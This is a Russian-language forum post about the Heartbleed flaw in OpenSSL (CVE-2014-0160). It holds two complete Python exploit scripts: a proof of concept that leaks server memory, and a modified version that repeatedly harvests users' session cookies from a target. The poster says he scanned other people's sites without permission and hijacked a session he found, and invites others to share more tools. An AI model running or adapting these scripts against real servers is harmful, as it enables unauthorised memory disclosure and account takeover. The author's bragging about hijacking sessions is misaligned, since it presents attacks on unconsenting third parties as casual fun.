С денек пошарившись по новостям насчет Heartbleed решил я потестить сайты окружающих на данную уязвимость. Когда онлайн чекер filippo.io/Heartbleed/ надоел в ход пошли готовые эксплоиты. Вот один из них. Code: #!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main() # 392164AAAD9A3A12 1337day.com [2014-04-11] F6385B09958196DD # Юзаем Code: python script.py site.com Пролистывая результат скрипта случайно наткнулся на чью то сессию, которую сразу же удачно подменил. Позже нашелся еще один скрипт который выдает сразу активные сессии пользователей Code: #!/usr/bin/python # Modified by Samiux (on April 10, 2014) which is based on the code of Michael Davis. # Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions. # Michael Davis ([email protected]) # Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. import select import sys import string import struct import socket import time from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for (default: session)') options.add_option('-l', '--length', type='int', default=1024, help='Length of the cookie (default: 1024)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') class HeartBleeder(object): server_response = None socket = None found_sessions = set() hostname = '' port = 0 cookie = '' cookie_length = 0 def __init__(self, hostname='', port=0, cookie='', cookie_length=0): self.hostname = hostname self.cookie = cookie self.port = port self.cookie_length = cookie_length def connect(self): """ Connects to the remote server. """ self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() self.socket.connect((self.hostname, self.port)) sys.stdout.flush() self.socket.send(hello) sys.stdout.flush() def rcv_response(self): while True: _type, version, payload = self.rcv_message() if _type is None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if _type == 22 and ord(payload[0]) == 0x0E: break def rcv_message(self): record_header = self.rcv_all(5) if record_header is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None _type, version, line = struct.unpack('>BHH', record_header) payload = self.rcv_all(line, 10) if payload is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None return _type, version, payload def rcv_all(self, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([self.socket], [], [], 5) if self.socket in r: data = self.socket.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def try_heartbeat(self): self.socket.send(hb) while True: _type, version, self.payload = self.rcv_message() if _type is None: print 'No heartbeat response received, server likely not vulnerable' return False if _type == 24: # print 'Received heartbeat response:' self.parse_response() if len(self.payload) > 3: pass else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if _type == 21: print 'Received alert:' self.hexdump(self.payload) print 'Server returned error, likely not vulnerable' return False def parse_response(self): """ Parses the response from the server for a session id. """ ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload) index = string.find(ascii, self.cookie) if index >= 0: info = ascii[index:index + self.cookie_length] session = info.split(' ')[0] session = string.replace(session, ';', '') if session not in self.found_sessions: self.found_sessions.add(session) print session def hexdump(self, payload): """ Prints out a hexdump in the event that server returns an error. """ for b in xrange(0, len(payload), 16): line = [c for c in payload[b:b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in line) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def scan(self): self.connect() self.rcv_response() self.try_heartbeat() def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return print 'Port :', opts.port print 'Cookie :', opts.cookie print 'Length :', opts.length print '' while True: heartbeat = HeartBleeder(hostname=args[0], port=opts.port, cookie=opts.cookie, cookie_length=opts.length) heartbeat.scan() if __name__ == '__main__': main() Ссылки на тестеры на уязвимость и эксплоиты тык Если кто то знает еще что нибудь интересное по теме делимся)
